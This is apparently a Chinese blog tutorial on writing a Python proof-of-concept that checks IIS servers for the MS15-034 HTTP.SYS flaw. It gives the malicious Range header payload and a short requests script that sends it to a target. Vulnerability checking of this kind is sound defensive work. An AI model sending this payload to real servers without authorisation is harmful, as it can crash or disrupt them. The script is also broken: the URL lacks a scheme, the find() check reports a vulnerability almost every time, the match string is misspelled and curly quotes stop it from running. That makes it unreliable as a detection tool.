作为单位的网络安全管理员,经常会遇到这样的情况,某些漏洞在互联网上被批露后,在用的扫描工具却无法及时集成。
遇到这种情况,领导会说:“自己想办法,抓紧检测是否有这个漏洞。”很多人会告诉你可以用自行编写Poc这个方法,指的就是根据漏洞的简单原理写出对应的漏洞检测代码,用来验证漏洞是否存在。那么如何编写Poc呢?可能你会把它想象的无比困难。
Python的出现,极大简化了Poc的编写过程,我们不需要再把时间浪费在网络连接、发送HTTP数据等繁琐的杂事上。以15年打击面最广的“HTTP.SYS远程执行代码漏洞”(ms15-034)为例,编写Poc只需要两个步骤。
第一步:简单了解漏洞触发机制
在网上可以搜索到,这个漏洞触发机制就是:使用IIS作为WEB容器可能存在编号为MS-15034的远程代码执行漏洞,可以发送测试代码,若返回“Requested Range Not Satisfiable”则证明存在此漏洞。
下面就是被公布的测试代码:
Host: stuff
Range: bytes=0-” + hexAllFfff
简单来说,要验证是否存在漏洞,只要把测试代码发送到目标服务器上,进行验证即可,而这就是利用Python编写Web漏洞检测工具(Poc)的过程。
第二步:用Python编写漏洞检测具体代码
代码只有8行,我进行了详细注释,直接贴出来。
import requests # 发送web请求所需的库
url = ‘127.0.0.1’ # 需要测试的服务器IP
payload = {‘Host’:’stuff’,’Range’:’bytes=0-18446744073709551615′} # 测试代码
r1 = requests.get(url, headers=payload) #发送测试代码
if str(r1.content).find(‘Requested Range Not Satisfialbe’): # 检查返回结果
print(‘{}有ms15-034漏洞’.format(url))
else:
print(‘{}不存在ms15-034漏洞’.format(url))
简单两步加上8行代码,就完成了一个ms15-034漏洞检测工具。当然,实际应用还有很多需要完善的地方,那就自己动手吧
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
如需转载请保留出处:https://bianchenghao.cn/34354.html